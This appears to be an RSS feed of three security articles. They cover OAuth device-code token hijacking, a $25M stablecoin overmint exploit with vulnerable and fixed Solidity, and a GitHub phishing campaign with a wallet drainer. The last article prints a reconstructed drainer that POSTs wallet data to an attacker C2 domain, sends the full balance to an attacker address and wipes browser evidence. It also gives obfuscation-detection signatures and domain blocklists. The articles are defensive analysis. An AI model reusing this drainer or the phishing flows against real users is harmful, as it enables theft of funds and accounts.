<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Cryip</title>
    <description>The latest articles on DEV Community by Cryip (@cryip).</description>
    <link>https://dev.to/cryip</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F12411%2Fce38a376-9746-4205-af62-6ab8b08d41ac.png</url>
      <title>DEV Community: Cryip</title>
      <link>https://dev.to/cryip</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cryip"/>
    <language>en</language>
    <item>
      <title>The Evolution of Token Hijacking: AI-Powered OAuth Device Code Phishing</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Wed, 08 Apr 2026 10:34:32 +0000</pubDate>
      <link>https://dev.to/cryip/the-evolution-of-token-hijacking-ai-powered-oauth-device-code-phishing-3h5m</link>
      <guid>https://dev.to/cryip/the-evolution-of-token-hijacking-ai-powered-oauth-device-code-phishing-3h5m</guid>
      <description>&lt;p&gt;A new generation of cyberattacks is moving beyond simple credential theft toward Session and Token Hijacking. By abusing the OAuth 2.0 Device Authorization Grant (RFC 8628), threat actors are bypassing traditional MFA and Phishing protections. This attack doesn't steal your password; it steals your identity's "keys" while you perform a legitimate login on a trusted Microsoft domain.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Vulnerability: Device Code Flow Misuse
&lt;/h2&gt;

&lt;p&gt;The Device Code Flow was designed for input-constrained devices (like Smart TVs or CLI tools) that cannot easily render a browser.&lt;br&gt;
&lt;strong&gt;The Protocol Logic&lt;/strong&gt;&lt;br&gt;
The standard flow follows this path:$$Client \rightarrow Device\ Authorization\ Endpoint \rightarrow User\ Code \rightarrow User\ Auth \rightarrow Access\ Token$$&lt;br&gt;
&lt;strong&gt;The Security Gap&lt;/strong&gt;&lt;br&gt;
The critical flaw lies in the decoupling of the authentication session. The user authenticates independently of the client requesting the token. Because there is no browser session binding the victim to the attacker’s machine, the attacker can initiate the flow and simply wait for the victim to "authorize" it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Attack Chain: Step-by-Step
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;AI-Enhanced Reconnaissance&lt;/strong&gt;&lt;br&gt;
Attackers use LLMs to automate reconnaissance. By hitting the GetCredentialType endpoint, they validate targets before ever sending an email.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Endpoint: &lt;a href="https://login.microsoftonline.com/common/GetCredentialType" rel="noopener noreferrer"&gt;https://login.microsoftonline.com/common/GetCredentialType&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Goal: Confirm account existence and identify federated tenants to ensure a high Return on Investment (ROI).&lt;br&gt;
&lt;strong&gt;Social Engineering &amp;amp; Evasion&lt;/strong&gt;&lt;br&gt;
Using AI, attackers generate hyper-personalized, role-based phishing content (e.g., HR onboarding docs for new hires). To bypass URL filters, they host their redirectors on legitimate serverless infrastructure:&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Platforms: Vercel, Cloudflare Pages, AWS Lambda.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Tactic: Multi-hop redirects and domain cloaking to hide the malicious backend.&lt;br&gt;
&lt;strong&gt;The "Just-in-Time" Device Code Injection&lt;/strong&gt;&lt;br&gt;
Unlike older attacks that used static codes, modern "Phishing-as-a-Service" (PhaaS) like EvilTokens generates codes dynamically.&lt;br&gt;
Trigger: The moment a victim clicks the phishing link, the attacker's backend sends a POST request to /devicecode.&lt;br&gt;
Payload:&lt;br&gt;
JSON&lt;br&gt;
{&lt;br&gt;
"client_id": "ATTACKER_APP_ID",&lt;br&gt;
"scope": "openid profile offline_access",&lt;br&gt;
"verification_uri": "&lt;a href="https://microsoft.com/devicelogin" rel="noopener noreferrer"&gt;https://microsoft.com/devicelogin&lt;/a&gt;"&lt;br&gt;
}&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Delivery: The victim is shown a legitimate Microsoft login page. Since the domain is microsoft.com, traditional "look-alike domain" detectors fail.&lt;br&gt;
&lt;strong&gt;The Polling Loop (Token Harvesting)&lt;/strong&gt;&lt;br&gt;
While the victim logs in, the attacker’s script runs a polling loop to catch the token the moment authentication is complete:&lt;br&gt;
Python&lt;br&gt;
while True:&lt;br&gt;
    response = requests.post(token_endpoint, data=polling_payload)&lt;br&gt;
    if "access_token" in response:&lt;br&gt;
        store_tokens(response.json())&lt;br&gt;
        break&lt;br&gt;
    time.sleep(3) # Rapid polling for near-instant hijacking&lt;/p&gt;

&lt;h2&gt;
  
  
  Post-Exploitation: Living off the Graph
&lt;/h2&gt;

&lt;p&gt;Once the access_token and refresh_token are secured, the attacker has full API access via Microsoft Graph.&lt;br&gt;
Persistence: Registering a new managed device to generate a Primary Refresh Token (PRT), allowing long-term access even if the user changes their password.&lt;br&gt;
Exfiltration: Silently creating inbox rules to forward emails containing keywords like "Invoice" or "Payment" to an external attacker-controlled address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Traditional Defenses Fail
&lt;/h2&gt;

&lt;p&gt;The effectiveness of this attack lies in its ability to operate within the boundaries of legitimate authentication traffic. Rather than trying to steal a secret, the attacker tricks the user into performing a valid action on the attacker's behalf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multi-Factor Authentication (MFA)&lt;/strong&gt;&lt;br&gt;
The user completes the MFA challenge themselves on the official Microsoft portal. Because the authentication happens on a real, trusted session, the attacker receives a fully validated token without ever needing to see or bypass the MFA prompt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password Monitoring&lt;/strong&gt;&lt;br&gt;
This method does not actually steal credentials. Since the user enters their password directly into the genuine Microsoft site, "leaked password" databases and local password-sharing protections are never triggered. There is no "stolen password" to detect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;URL Filtering&lt;/strong&gt;&lt;br&gt;
Most web filters and email gateways are configured to trust microsoft.com implicitly. Because the final destination of the phishing link is a legitimate, high-reputation domain, the attack often bypasses automated security scanners that look for "look-alike" or malicious domains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engineering-Level Mitigations
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Detection Engineering (KQL)&lt;/strong&gt;&lt;br&gt;
Security teams should monitor Azure AD Sign-in logs for anomalies in the deviceCode protocol.&lt;br&gt;
Code snippet&lt;br&gt;
SigninLogs&lt;br&gt;
| where AuthenticationProtocol == "deviceCode"&lt;br&gt;
| where AppId !in (Your_Trusted_App_IDs)&lt;br&gt;
| summarize count() by UserPrincipalName, AppId, IPAddress&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategic Hardening&lt;/strong&gt;&lt;br&gt;
Conditional Access (CA): Restrict Device Code Flow to specific, trusted IP ranges or compliant devices.&lt;br&gt;
Continuous Access Evaluation (CAE): Enable CAE to revoke tokens in real-time if a risk is detected.&lt;br&gt;
Disable the Flow: If your organization does not use CLI tools or smart devices that require this flow, disable it entirely via the Authentication Methods policy in Entra ID.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The shift from Credential Theft to Token Hijacking represents a significant leap in attacker maturity. As AI continues to automate the "human" element of phishing, developers must move toward a Zero Trust architecture where no OAuth flow is considered safe by default. Trust the protocol, but verify the context.&lt;/p&gt;

</description>
      <category>phishing</category>
      <category>microsoft</category>
      <category>ai</category>
    </item>
    <item>
      <title>How a Missing Input Validation in requestSwap() Let an Attacker Drain $25M from Resolv Labs</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Mon, 23 Mar 2026 09:13:29 +0000</pubDate>
      <link>https://dev.to/cryip/how-a-missing-input-validation-in-requestswap-let-an-attacker-drain-25m-from-resolv-labs-k01</link>
      <guid>https://dev.to/cryip/how-a-missing-input-validation-in-requestswap-let-an-attacker-drain-25m-from-resolv-labs-k01</guid>
      <description>&lt;p&gt;Resolv Labs operates a decentralised stablecoin protocol where users deposit collateral to mint USR. The attacker exploited two weaknesses simultaneously. First, the minting logic never verified whether the amount of USR being requested was proportional to the collateral provided. By supplying a wildly inflated targetAmount parameter, they claimed 80 million USR in exchange for a $200K deposit, a 400x overmint. Second, and critically, the SERVICE_ROLE private key that authorises mint completions had been compromised. This meant the attacker did not need to wait for any off-chain oracle or protocol operator to approve the transaction. They called completeSwap() directly, minting unbacked tokens on demand with no external check standing in the way.&lt;/p&gt;

&lt;p&gt;To avoid triggering immediate liquidity alarms, the attacker staked the freshly minted tokens into wstUSR, then systematically exited through stablecoin pairs (USDC, USDT) on Curve Finance. The proceeds were finally converted to native ETH. By the time the protocol team could react, the bulk of the stolen funds had already cleared. USR lost its dollar peg, crashing 80% in secondary liquidity pools.&lt;/p&gt;

&lt;h2&gt;
  
  
  The root cause: two compounding flaws
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Flaw 1: No output validation in swap functions&lt;/strong&gt;&lt;br&gt;
The core bug lived in requestSwap and completeSwap. The protocol accepted a user-supplied targetAmount without ever checking whether it was proportional to amountIn. This is the equivalent of a bank accepting a withdrawal slip without verifying the account balance.&lt;br&gt;
SolidityVulnerable&lt;br&gt;
// No validation: user can request any output amount&lt;br&gt;
function requestSwap(&lt;br&gt;
    address tokenIn,&lt;br&gt;
    uint256 amountIn,&lt;br&gt;
    uint256 targetAmount, // user-controlled, never verified&lt;br&gt;
    address tokenOut&lt;br&gt;
) external {&lt;br&gt;
    pendingSwaps[msg.sender] = SwapRequest({&lt;br&gt;
        amountIn: amountIn,&lt;br&gt;
        targetAmount: targetAmount, // stored as-is&lt;br&gt;
        tokenOut: tokenOut&lt;br&gt;
    });&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;function completeSwap(address user) external onlyServiceRole {&lt;br&gt;
    SwapRequest memory req = pendingSwaps[user];&lt;br&gt;
    // mints whatever targetAmount says, no sanity check&lt;br&gt;
    _mint(user, req.targetAmount);&lt;br&gt;
}&lt;br&gt;
The attacker passed targetAmount = 80,000,000 USR with amountIn = 200,000 USDC. The contract complied without question.&lt;br&gt;
&lt;strong&gt;Flaw 2: Single-key SERVICE_ROLE signer&lt;/strong&gt;&lt;br&gt;
The completeSwap function was gated behind a SERVICE_ROLE modifier, but that role was held by a single private key. Analysts believe this key was compromised, allowing the attacker to trigger completeSwap themselves without waiting for a legitimate off-chain oracle.&lt;br&gt;
SolidityVulnerable&lt;br&gt;
// A single compromised key unlocks unlimited minting&lt;br&gt;
modifier onlyServiceRole() {&lt;br&gt;
    require(&lt;br&gt;
        hasRole(SERVICE_ROLE, msg.sender),&lt;br&gt;
        "Not authorized"&lt;br&gt;
    );&lt;br&gt;
    _;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;// If the attacker controls SERVICE_ROLE, they call this directly&lt;br&gt;
function completeSwap(address user) external onlyServiceRole {&lt;br&gt;
    _mint(user, pendingSwaps[user].targetAmount); // no limits&lt;br&gt;
}&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack flow, step by step
&lt;/h2&gt;

&lt;p&gt;Execution timeline&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1.Deposit 200,000 USDC as collateral&lt;/li&gt;
&lt;li&gt;Legitimate entry, raises no flags&lt;/li&gt;
&lt;li&gt;2.Call requestSwap with targetAmount = 80,000,000 USR&lt;/li&gt;
&lt;li&gt;Inflated output param, never validated on-chain&lt;/li&gt;
&lt;li&gt;3.Call completeSwap via compromised SERVICE_ROLE key&lt;/li&gt;
&lt;li&gt;80M USR minted instantly across two transactions (~50M + ~30M)&lt;/li&gt;
&lt;li&gt;4.Stake into wstUSR to bypass liquidity limits&lt;/li&gt;
&lt;li&gt;Slippage and pool depth constraints avoided&lt;/li&gt;
&lt;li&gt;5.Swap through USDC/USDT pools on Curve Finance&lt;/li&gt;
&lt;li&gt;Value extracted before secondary markets could reprice&lt;/li&gt;
&lt;li&gt;6.Convert all proceeds to native ETH and withdraw&lt;/li&gt;
&lt;li&gt;Approximately 11,400 ETH (~$24M) cleared before the protocol freeze&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How developers should fix this
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fix 1: Validate targetAmount against the exchange rate&lt;/strong&gt;&lt;br&gt;
Every minting function must verify that the requested output is mathematically consistent with the provided input. A maximum slippage tolerance of 1% is a reasonable starting point.&lt;br&gt;
SolidityFixed&lt;br&gt;
function requestSwap(&lt;br&gt;
    address tokenIn,&lt;br&gt;
    uint256 amountIn,&lt;br&gt;
    uint256 targetAmount,&lt;br&gt;
    address tokenOut&lt;br&gt;
) external {&lt;br&gt;
    // Derive expected output from on-chain oracle or exchange rate&lt;br&gt;
    uint256 expectedOutput = getExpectedOutput(tokenIn, amountIn, tokenOut);&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Allow at most 1% above expected, reject anything larger
uint256 maxAllowed = expectedOutput * 101 / 100;
require(
    targetAmount &amp;lt;= maxAllowed,
    "targetAmount exceeds allowable output"
);

pendingSwaps[msg.sender] = SwapRequest({
    amountIn: amountIn,
    targetAmount: targetAmount,
    tokenOut: tokenOut,
    timestamp: block.timestamp
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
With this check, the attacker's 80M USR request would have been rejected immediately. The expected output for 200K USDC is roughly 200K USR, making 80M about 400x the allowed ceiling.&lt;br&gt;
&lt;strong&gt;Fix 2: Replace the single-key signer with multi-signature&lt;/strong&gt;&lt;br&gt;
SolidityFixed&lt;br&gt;
// Require 3 of 5 designated signers to authorise any mint&lt;br&gt;
function completeSwap(&lt;br&gt;
    address user,&lt;br&gt;
    bytes[] calldata signatures&lt;br&gt;
) external {&lt;br&gt;
    require(&lt;br&gt;
        _verifyMultiSig(signatures, _hashSwapRequest(user)),&lt;br&gt;
        "Requires 3 of 5 signers"&lt;br&gt;
    );&lt;br&gt;
    _mint(user, pendingSwaps[user].targetAmount);&lt;br&gt;
}&lt;br&gt;
&lt;strong&gt;Fix 3: Enforce per-transaction and daily mint caps&lt;/strong&gt;&lt;br&gt;
SolidityFixed&lt;br&gt;
uint256 public constant MAX_MINT_PER_TX  = 1_000_000 * 1e18;&lt;br&gt;
uint256 public constant MAX_MINT_PER_DAY = 10_000_000 * 1e18;&lt;br&gt;
mapping(uint256 =&amp;gt; uint256) public dailyMinted;&lt;/p&gt;

&lt;p&gt;function completeSwap(address user) external onlyServiceRole {&lt;br&gt;
    SwapRequest memory req = pendingSwaps[user];&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;require(req.targetAmount &amp;lt;= MAX_MINT_PER_TX, "Exceeds per-tx cap");

uint256 today = block.timestamp / 1 days;
require(
    dailyMinted[today] + req.targetAmount &amp;lt;= MAX_MINT_PER_DAY,
    "Daily mint cap reached"
);

dailyMinted[today] += req.targetAmount;
_mint(user, req.targetAmount);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
&lt;strong&gt;Fix 4: Add an automatic circuit breaker&lt;/strong&gt;&lt;br&gt;
SolidityFixed&lt;br&gt;
uint256 public constant ALERT_THRESHOLD = 5_000_000 * 1e18;&lt;/p&gt;

&lt;p&gt;function completeSwap(address user)&lt;br&gt;
    external onlyServiceRole whenNotPaused&lt;br&gt;
{&lt;br&gt;
    SwapRequest memory req = pendingSwaps[user];&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if (req.targetAmount &amp;gt; ALERT_THRESHOLD) {
    _pause();
    emit SuspiciousActivityDetected(user, req.targetAmount);
    return; // abort, no mint occurs
}

_mint(user, req.targetAmount);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary of vulnerabilities and fixes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Vulnerability: targetAmount not validated&lt;/li&gt;
&lt;li&gt;What went wrong: Any output amount accepted regardless of input&lt;/li&gt;
&lt;li&gt;Correct approach: Validate against on-chain exchange rate with slippage tolerance&lt;/li&gt;
&lt;li&gt;Vulnerability: Single SERVICE_ROLE key&lt;/li&gt;
&lt;li&gt;What went wrong: One compromised key enabled unlimited minting&lt;/li&gt;
&lt;li&gt;Correct approach: Require 3-of-5 multi-sig for all privileged mint operations&lt;/li&gt;
&lt;li&gt;Vulnerability: No mint limits&lt;/li&gt;
&lt;li&gt;What went wrong: Unlimited tokens mintable in one transaction&lt;/li&gt;
&lt;li&gt;Correct approach: Enforce hard caps per transaction and per calendar day&lt;/li&gt;
&lt;li&gt;Vulnerability: No circuit breaker&lt;/li&gt;
&lt;li&gt;What went wrong: Protocol continued operating after exploit began&lt;/li&gt;
&lt;li&gt;Correct approach: Auto-pause when any single mint exceeds an anomaly threshold
&lt;strong&gt;Core lesson&lt;/strong&gt;
"Never trust user input. Verify it on-chain. An off-chain service validating parameters is not a substitute for on-chain guards. If the smart contract does not check it, the blockchain will not check it for you."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This incident follows a growing pattern of DeFi exploits targeting minting and swap mechanics. As collateral-backed stablecoin protocols proliferate, rigorous on-chain input validation and distributed key management are no longer optional. They are baseline requirements.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>smartcontract</category>
    </item>
    <item>
      <title>How the OpenClaw GitHub Phishing Attack Actually Worked - And How to Defend Against It</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Thu, 19 Mar 2026 12:53:58 +0000</pubDate>
      <link>https://dev.to/cryip/how-the-openclaw-github-phishing-attack-actually-worked-and-how-to-defend-against-it-4i21</link>
      <guid>https://dev.to/cryip/how-the-openclaw-github-phishing-attack-actually-worked-and-how-to-defend-against-it-4i21</guid>
      <description>&lt;p&gt;In early 2026, a phishing campaign targeted developers who had starred the OpenClaw repository on GitHub. No zero-days. No CVEs. Just precise social engineering layered on top of trusted infrastructure - and a JavaScript wallet drainer that wiped its own evidence.&lt;br&gt;
This article covers exactly three things: how the attack unfolded, what the attacker did technically, and what you can do to protect yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the Attack Unfolded
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Building a Target List from GitHub Stars&lt;/strong&gt;&lt;br&gt;
The attackers did not send a generic blast. They enumerated users who had publicly starred OpenClaw-related repositories on GitHub. This turned a mass phishing attempt into something that felt personal - a message about a project you had already shown interest in.&lt;br&gt;
Attackers started by enumerating users who had publicly starred OpenClaw repositories, built a curated target list from that data, and then used it to send targeted @mentions in GitHub issue threads.&lt;br&gt;
&lt;strong&gt;Abusing GitHub's Notification System&lt;/strong&gt;&lt;br&gt;
Fake GitHub accounts were created roughly one week before the campaign launched - just enough time to satisfy GitHub's account-age thresholds. The attackers then:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Opened issue threads inside repositories they controlled (they had no access to legitimate repos).&lt;/li&gt;
&lt;li&gt;Mass-tagged real developers using @username mentions inside those issues.&lt;/li&gt;
&lt;li&gt;GitHub's notification system automatically delivered a trusted email alert to every tagged user.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The message read:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;"Appreciate for your contributions on GitHub. We analyzed profiles and chosen developers to get OpenClaw allocation."&lt;br&gt;
It promised $5,000 worth of $CLAW tokens and linked to a claim page.&lt;br&gt;
This worked because GitHub notification emails look identical whether they come from a project you contribute to or a random repo you have never seen. Developers are trained to act on them.&lt;br&gt;
&lt;strong&gt;The Phishing Site - token-claw[.]xyz&lt;/strong&gt;&lt;br&gt;
The link, hidden behind a linkshare[.]google redirect, led to a near-perfect clone of openclaw.ai. Visually identical. One addition: a "Connect your wallet" button supporting MetaMask, WalletConnect, Coinbase Wallet, Trust Wallet, OKX, and Bybit.&lt;br&gt;
openclaw.ai          - real site, no wallet prompt&lt;br&gt;
token-claw[.]xyz     - clone, + "Connect your wallet" button&lt;br&gt;
&lt;strong&gt;What the Attacker Did Technically&lt;/strong&gt;&lt;br&gt;
Everything malicious happened inside a single heavily obfuscated JavaScript file: eleven.js.&lt;br&gt;
OX Security deobfuscated it. Here is what it did, broken into three stages.&lt;br&gt;
&lt;strong&gt;Wallet Connection Hijack&lt;/strong&gt;&lt;br&gt;
When a user clicked "Connect your wallet," the page initiated a standard-looking Web3 connection flow. The wallet extension popup appeared as normal. But after the handshake completed, eleven.js continued executing silently.&lt;br&gt;
// Conceptual reconstruction - actual code was obfuscated&lt;br&gt;
// using eval chains, atob() decoding, and hex-encoded strings&lt;/p&gt;

&lt;p&gt;async function connectWallet() {&lt;br&gt;
  const provider = await detectEthereumProvider();&lt;/p&gt;

&lt;p&gt;// Looks legitimate - requests account access&lt;br&gt;
  const accounts = await provider.request({&lt;br&gt;
    method: 'eth_requestAccounts'&lt;br&gt;
  });&lt;/p&gt;

&lt;p&gt;// Malicious step 1 - silently exfiltrate wallet data&lt;br&gt;
  await sendToC2({&lt;br&gt;
    wallet:  accounts[0],&lt;br&gt;
    balance: await provider.request({&lt;br&gt;
               method: 'eth_getBalance',&lt;br&gt;
               params: [accounts[0], 'latest']&lt;br&gt;
             }),&lt;br&gt;
    chainId: await provider.request({ method: 'eth_chainId' }),&lt;br&gt;
    tokens:  await getTokenBalances(accounts[0])&lt;br&gt;
  });&lt;/p&gt;

&lt;p&gt;// Malicious step 2 - attempt unauthorized transfer&lt;br&gt;
  await provider.request({&lt;br&gt;
    method: 'eth_sendTransaction',&lt;br&gt;
    params: [{&lt;br&gt;
      from:  accounts[0],&lt;br&gt;
      to:    '0x6981E9EA7023a8407E4B08ad97f186A5CBDaFCf5', // attacker wallet&lt;br&gt;
      value: FULL_BALANCE&lt;br&gt;
    }]&lt;br&gt;
  });&lt;br&gt;
}&lt;br&gt;
The user sees a normal connection prompt. The wallet balance, token list, and chain ID are already gone before they decide whether to approve any transaction.&lt;br&gt;
&lt;strong&gt;C2 Communication via watery-compost[.]today&lt;/strong&gt;&lt;br&gt;
Stolen data was Base64-encoded and POSTed to a separate command-and-control server. The malware tracked each victim's progress through three state labels:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PromptTx - Transaction dialog shown to user&lt;/li&gt;
&lt;li&gt;Approved - User signed and submitted the transaction&lt;/li&gt;
&lt;li&gt;Declined - User rejected the transaction prompt
function sendToC2(data) {
const payload = btoa(JSON.stringify({
wallet:  data.wallet,
balance: data.balance,
network: data.chainId,
tokens:  data.tokens
}));&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;fetch('&lt;a href="https://watery-compost%5B.%5Dtoday/collect" rel="noopener noreferrer"&gt;https://watery-compost[.]today/collect&lt;/a&gt;', {&lt;br&gt;
    method:  'POST',&lt;br&gt;
    headers: { 'Content-Type': 'application/json' },&lt;br&gt;
    body:    payload&lt;br&gt;
  });&lt;br&gt;
}&lt;br&gt;
This separation between the phishing domain and the C2 domain is intentional. Taking down token-claw[.]xyz does not immediately expose or kill the data collection infrastructure.&lt;br&gt;
&lt;strong&gt;The nuke() Function (Anti-Forensics)&lt;/strong&gt;&lt;br&gt;
After the attack sequence completed, eleven.js called an internally named nuke() function. Its only job was to destroy evidence:&lt;br&gt;
function nuke() {&lt;br&gt;
  // Clear all browser storage&lt;br&gt;
  localStorage.clear();&lt;br&gt;
  sessionStorage.clear();&lt;/p&gt;

&lt;p&gt;// Remove injected script tags from the DOM&lt;br&gt;
  document.querySelectorAll('script[data-injected]')&lt;br&gt;
    .forEach(el =&amp;gt; el.remove());&lt;/p&gt;

&lt;p&gt;// Expire all session cookies&lt;br&gt;
  document.cookie.split(';').forEach(cookie =&amp;gt; {&lt;br&gt;
    const key = cookie.split('=')[0].trim();&lt;br&gt;
    document.cookie =&lt;br&gt;
      &lt;code&gt;${key}=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/&lt;/code&gt;;&lt;br&gt;
  });&lt;br&gt;
}&lt;br&gt;
By the time a victim realized something was wrong, the browser held no trace of what had executed. Combined with the fake GitHub accounts being deleted within hours of launch, the attackers left minimal forensic surface.&lt;br&gt;
&lt;strong&gt;How to Technically Defend Against This&lt;/strong&gt;&lt;br&gt;
Each defense maps directly to a specific technique the attacker used.&lt;br&gt;
&lt;strong&gt;Verify the Domain Before Any Wallet Interaction&lt;/strong&gt;&lt;br&gt;
The attacker relied on visual similarity between token-claw.xyz and openclaw.ai. Automate this check in any Web3 frontend you build or use:&lt;br&gt;
const TRUSTED_DOMAINS = ['openclaw.ai', '&lt;a href="http://www.openclaw.ai'" rel="noopener noreferrer"&gt;www.openclaw.ai'&lt;/a&gt;];&lt;/p&gt;

&lt;p&gt;function assertTrustedOrigin() {&lt;br&gt;
  if (!TRUSTED_DOMAINS.includes(window.location.hostname)) {&lt;br&gt;
    throw new Error(&lt;br&gt;
      &lt;code&gt;Wallet connection blocked.\n&lt;/code&gt; +&lt;br&gt;
      &lt;code&gt;Current domain : "${window.location.hostname}"\n&lt;/code&gt; +&lt;br&gt;
      &lt;code&gt;Expected       : ${TRUSTED_DOMAINS.join(' or ')}&lt;/code&gt;&lt;br&gt;
    );&lt;br&gt;
  }&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;// Call this before any provider.request() call&lt;br&gt;
assertTrustedOrigin();&lt;br&gt;
Never navigate to a wallet-connected site from a link in an email or notification. Type the URL directly or use a bookmark.&lt;br&gt;
&lt;strong&gt;Detect Obfuscated Script Injection at Runtime&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;eleven.js used standard obfuscation patterns: eval(), atob(), String.fromCharCode, and hex-encoded strings. A MutationObserver watching for newly injected scripts can catch this at runtime:&lt;br&gt;
const OBFUSCATION_SIGNATURES = [&lt;br&gt;
  /\beval\s*(/,&lt;br&gt;
  /\batob\s*(/,&lt;br&gt;
  /String.fromCharCode/,&lt;br&gt;
  /\x[0-9a-fA-F]{2}/,&lt;br&gt;
  /\u[0-9a-fA-F]{4}/,&lt;br&gt;
];&lt;/p&gt;

&lt;p&gt;const scriptGuard = new MutationObserver((mutations) =&amp;gt; {&lt;br&gt;
  for (const mutation of mutations) {&lt;br&gt;
    for (const node of mutation.addedNodes) {&lt;br&gt;
      if (node.nodeName !== 'SCRIPT') continue;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  const content = node.textContent || '';
  const flagged = OBFUSCATION_SIGNATURES
    .some(pattern =&amp;gt; pattern.test(content));

  if (flagged) {
    console.error(
      '[Security] Obfuscated script blocked:',
      node.src || '(inline)'
    );
    node.remove();
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
});&lt;/p&gt;

&lt;p&gt;scriptGuard.observe(document.documentElement, {&lt;br&gt;
  childList: true,&lt;br&gt;
  subtree:   true&lt;br&gt;
});&lt;br&gt;
This is a tripwire, not a complete firewall. Treat it as one layer of a broader defense.&lt;br&gt;
&lt;strong&gt;Validate GitHub Notification Senders Before Clicking&lt;/strong&gt;&lt;br&gt;
The attacker exploited the fact that GitHub @mention notifications look identical regardless of source. Before clicking any link from a GitHub mention involving tokens or rewards:&lt;br&gt;
Check the age of the account that mentioned you&lt;br&gt;
gh api /users/{MENTIONED_USERNAME} | jq '.created_at'&lt;/p&gt;

&lt;p&gt;Check which repo the issue lives in&lt;br&gt;
If it is a repo you have never contributed to - stop.&lt;br&gt;
Hard rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Account created less than 30 days ago + mentions tokens = ignore and report.&lt;/li&gt;
&lt;li&gt;Issue is in a repo you have no history with = ignore and report.&lt;/li&gt;
&lt;li&gt;Message mentions airdrops, allocations, or rewards = ignore and report.
Legitimate projects do not distribute token allocations through GitHub issue mentions from unfamiliar accounts.
&lt;strong&gt;Isolate Your Wallet Surface&lt;/strong&gt;
The attacker's payload attempted to drain FULL_BALANCE from the connected wallet in a single transaction. Reducing what is available to drain limits the blast radius:
Hardware wallet (Ledger / Trezor)

&lt;ul&gt;
&lt;li&gt;Holds primary funds&lt;/li&gt;
&lt;li&gt;Never connected to any browser dApp&lt;/li&gt;
&lt;li&gt;Every transaction requires physical button confirmation&lt;/li&gt;
&lt;li&gt;Malicious JavaScript cannot silently sign on a hardware device&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Hot wallet (MetaMask / browser extension)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Holds only what is needed for the current interaction&lt;/li&gt;
&lt;li&gt;Used for dApps, testing, claim pages&lt;/li&gt;
&lt;li&gt;Treat it as disposable
If you connected your wallet to a suspicious site before reading this, revoke all approvals immediately at revoke.cash.
&lt;strong&gt;Block the Known Infrastructure&lt;/strong&gt;
OX Security confirmed both of these domains as part of this campaign's infrastructure:
# /etc/hosts - Linux or macOS
0.0.0.0   token-claw.xyz
0.0.0.0   watery-compost.today&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pi-hole or DNS sinkhole - add to blocklist&lt;br&gt;
token-claw.xyz&lt;br&gt;
watery-compost.today&lt;/p&gt;

&lt;p&gt;iptables - corporate environments&lt;br&gt;
